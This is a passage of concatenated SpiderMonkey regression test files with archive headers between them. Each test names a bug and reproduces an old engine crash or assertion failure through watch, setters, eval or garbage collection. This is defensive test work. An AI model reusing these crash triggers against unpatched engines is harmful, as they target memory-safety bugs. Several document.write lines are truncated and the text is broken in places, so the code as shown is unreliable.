{allElements[1].style.height = "100px";})}, {origCount:1353, fun:(function anonymous() {allElements[5].style['float'] = "none";})}, {origCount:1354, fun:(function anonymous() {allElements[9].style['float'] = "none";})}, {origCount:1355, fun:(function anonymous() {allElements[5].style.display = "table-footer-group";})}, {origCount:1356, fun:(function anonymous() {allElements[0].style.clear = "both";})}, {origCount:1357, fun:(function anonymous() {allElements[11].style.clear = "none";})}, {origCount:1358, fun:(function anonymous() {allElements[5].style.color = "green";})}, {origCount:1359, fun:(function anonymous() {allElements[1].style['float'] = "left";})}, {origCount:1360, fun:(function anonymous() {allElements[3].style.background = "#fcd";})}, {origCount:1361, fun:(function anonymous() {allElements[5].style.display = "block";})}, {origCount:1362, fun:(function anonymous() {allElements[11].style.width = "1px";})}, {origCount:1363, fun:(function anonymous() {allElements[2].style['float'] = "right";})}, {origCount:1364, fun:(function anonymous() {allElements[8].style.display = "table-column";})}, {origCount:1365, fun:(function anonymous() {allElements[9].style.width = "20em";})}, {origCount:1366, fun:(function anonymous() {allElements[10].style.visibility = "visible";})}, {origCount:1367, fun:(function anonymous() {allElements[4].style['float'] = "none";})}, {origCount:1368, fun:(function anonymous() {allElements[9].style.visibility = "hidden";})}, {origCount:1369, fun:(function anonymous() {allElements[5].style.width = "200%";})}, {origCount:1370, fun:(function anonymous() {allElements[9].style.background = "transparent";})}, {origCount:1371, fun:(function anonymous() {allElements[2].style.color = "red";})}, {origCount:1372, fun:(function anonymous() {allElements[2].style.width = "auto";})}, {origCount:1373, fun:(function anonymous() {allElements[1].style.background = "#fcd";})}, {origCount:1374, fun:(function anonymous() {allElements[5].style.width = "10%";})}, {origCount:1375, fun:(function anonymous() {allElements[6].style.overflow = "visible";})}, {origCount:1376, fun:(function anonymous() {allElements[10].style.display = "-moz-inline-block";})}, {origCount:1377, fun:(function anonymous() {allElements[8].style.visibility = "collapse";})}, {origCount:1378, fun:(function anonymous() {allElements[7].style.display = "inline";})}, {origCount:1379, fun:(function anonymous() {allElements[11].style.position = "fixed";})}, {origCount:1380, fun:(function anonymous() {allElements[1].style.display = "-moz-stack";})}, {origCount:1381, fun:(function anonymous() {allElements[7].style.clear = "left";})}, {origCount:1382, fun:(function anonymous() {allElements[9].style.overflow = "auto";})}, {origCount:1383, fun:(function anonymous() {allElements[0].style.height = "10%";})}, {origCount:1384, fun:(function anonymous() {allElements[10].style.overflow = "scroll";})}, {origCount:1385, fun:(function anonymous() {allElements[7].style.height = "100px";})}, {origCount:1386, fun:(function anonymous() {allElements[8].style.overflow = "auto";})}, {origCount:1387, fun:(function anonymous() {allElements[6].style.background = "#fcd";})}, {origCount:1388, fun:(function anonymous() {allElements[7].style.width = "auto";})}, {origCount:1389, fun:(function anonymous() {allElements[3].style.position = "relative";})}, {origCount:1390, fun:(function anonymous() {allElements[12].style.width = "10%";})}, {origCount:1391, fun:(function anonymous() {allElements[1].style.position = "absolute";})}, {origCount:1392, fun:(function anonymous() {allElements[1].style.background = "url(http://www.google.com/images/logo_sm.gif)";})}, {origCount:1393, fun:(function anonymous() {allElements[5].style.clear = "left";})}, {origCount:1394, fun:(function anonymous() {allElements[4].style['float'] = "left";})}, {origCount:1395, fun:(function anonymous() {allElements[6].style.width = "20em";})}, {origCount:1396, fun:(function anonymous() {allElements[0].style.height = "200%";})}, {origCount:1397, fun:(function anonymous() {allElements[8].style.width = "200%";})}, {origCount:1398, fun:(function anonymous() {allElements[6].style.height = "auto";})}, {origCount:1399, fun:(function anonymous() {allElements[2].style.overflow = "scroll";})}, {origCount:1400, fun:(function anonymous() {allElements[1].style.clear = "left";})}, {origCount:1401, fun:(function anonymous() {allElements[7].style.display = "-moz-box";})}, {origCount:1402, fun:(function anonymous() {allElements[0].style['float'] = "none";})}, {origCount:1403, fun:(function anonymous() {allElements[0].style.clear = "none";})}, {origCount:1404, fun:(function anonymous() {allElements[10].style.height = "100px";})}, {origCount:1405, fun:(function anonymous() {allElements[11].style.width = "20em";})}, {origCount:1406, fun:(function anonymous() {allElements[9].style.clear = "both";})}, {origCount:1407, fun:(function anonymous() {allElements[7].style.position = "static";})}, {origCount:1408, fun:(function anonymous() {allElements[12].style['float'] = "none";})}, {origCount:1409, fun:(function anonymous() {allElements[4].style.position = "static";})}, {origCount:1410, fun:(function anonymous() {allElements[0].style.height = "200%";})}, {origCount:1411, fun:(function anonymous() {allElements[7].style['float'] = "none";})}, {origCount:1412, fun:(function anonymous() {allElements[3].style.clear = "none";})}, {origCount:1413, fun:(function anonymous() {allElements[6].style.color = "green";})}, {origCount:1414, fun:(function anonymous() {allElements[10].style.height = "200%";})}, {origCount:1415, fun:(function anonymous() {allElements[7].style.overflow = "visible";})} ]; var output = eval(commands.toSource().replace(/anonymous/g,"")).toSource().replace( /\)\},/g , ")},\n"); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-436741.js0000664000175000017500000000176012106270663023050 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 436741; var summary = 'Do not assert: OBJ_IS_NATIVE(obj)'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof window == 'undefined') { print('This test is only meaningful in the browser.'); } else { window.__proto__.__proto__ = [{}]; for (var j in window); } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-363988.js0000664000175000017500000000234312106270663023062 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 363988; var summary = 'Do not crash at JS_GetPrivate with large script'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function crash() { var town = new Array; for (var i = 0; i < 0x4001; ++i) { var si = String(i); town[i] = [ si, "x" + si, "y" + si, "z" + si ]; } return "town=" + uneval(town) + ";function f() {}"; } if (typeof document != "undefined") { // this is required to reproduce the crash. document.write(" reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-361360.js0000664000175000017500000000166612106270663023047 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 361360; var summary = 'Do not assert: !caller || caller->pc involving setter and watch'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = actual = 'No Crash'; this.__defineSetter__('x', eval); this.watch('x', function(){}); x = 3; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-369696-01.js0000775000175000017500000000166312106270663023311 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 369696; var summary = 'Do not assert: map->depth > 0" in js_LeaveSharpObject'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); q = []; q.__defineGetter__("0", q.toString); q[2] = q; assertEq(q.toSource(), "[\"\", , []]", "wrong string"); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-314874.js0000664000175000017500000000210212106270663023041 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 314874; var summary = 'Function.call/apply with non-primitive argument'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var thisArg = { valueOf: function() { return {a: 'a', b: 'b'}; } }; var f = function () { return (this); }; expect = f.call(thisArg); thisArg.f = f; actual = thisArg.f(); delete thisArg.f; expect = expect.toSource(); actual = actual.toSource(); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-488995.js0000775000175000017500000000230312106270663023067 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 488995; var summary = 'Do not crash with watch, __defineSetter__ on svg'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof document == 'undefined') { print('Test skipped: requires browser.'); } else { try { var o=document.createElementNS("http://www.w3.org/2000/svg", "svg"); var p=o.y; p.watch('animVal', function(id, oldvar, newval) {} ); p.type='xxx'; p.__defineSetter__('animVal', function() {}); p.animVal=0; } catch(ex) { } } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-435497-01.js0000664000175000017500000000163212106270663023273 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 435497; var summary = 'Do not assert op2 == JSOP_INITELEM'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); try { eval('(function() { x, x setter = 0, y; const x; })();'); } catch(ex) { } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-361571.js0000664000175000017500000000221312106270663023040 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 361571; var summary = 'Do not assert: fp->scopeChain == parent'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); try { o = {}; o.__defineSetter__('y', eval); o.watch('y', function () { return "";}); o.y = 1; } catch(ex) { printStatus('Note eval can no longer be called directly'); expect = 'EvalError: function eval must be called directly, and not by way of a function of another name'; actual = ex + ''; } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-452178.js0000664000175000017500000000176012106270663023052 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 452178; var summary = 'Do not assert with JIT: !(sprop->attrs & JSPROP_SHARED)'; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); Object.defineProperty(this, "q", { get: function(){}, enumerable: true, configurable: true }); for (var j = 0; j < 4; ++j) q = 1; jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-369404.js0000664000175000017500000000262712106270663023054 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 369404; var summary = 'Do not assert: !SPROP_HAS_STUB_SETTER(sprop) || (sprop->attrs & JSPROP_GETTER) '; var actual = 'No Crash'; var expect = 'No Crash'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (typeof window != 'undefined') { gDelayTestDriverEnd = true; document.write(' ' + ''); window.addEventListener('load', crash, false); } else { reportCompare(expect, actual, summary); } exitFunc ('test'); } function crash() { gDelayTestDriverEnd = false; reportCompare(expect, actual, summary); jsTestDriverEnd(); } mozjs17.0.0/js/src/tests/js1_5/extensions/regress-311792-01.js0000664000175000017500000000130412106270663023256 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 311792; var summary = 'Root Array.prototype methods'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); function index_getter() { gc(); return 100; } var a = [0, 1]; a.__defineGetter__(0, index_getter); uneval(a.slice(0, 1)); reportCompare(expect, actual, summary); mozjs17.0.0/js/src/tests/js1_5/extensions/regress-407720.js0000664000175000017500000000247112106270663023043 0ustar sstanglsstangl// |reftest| skip-if(!xulRuntime.shell) slow /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 407720; var summary = 'js_FindClassObject causes crashes with getter/setter - Browser only'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); printStatus (summary); // stop the test after 60 seconds var start = new Date(); if (typeof document != 'undefined') { // delay test driver end gDelayTestDriverEnd = true; document.write('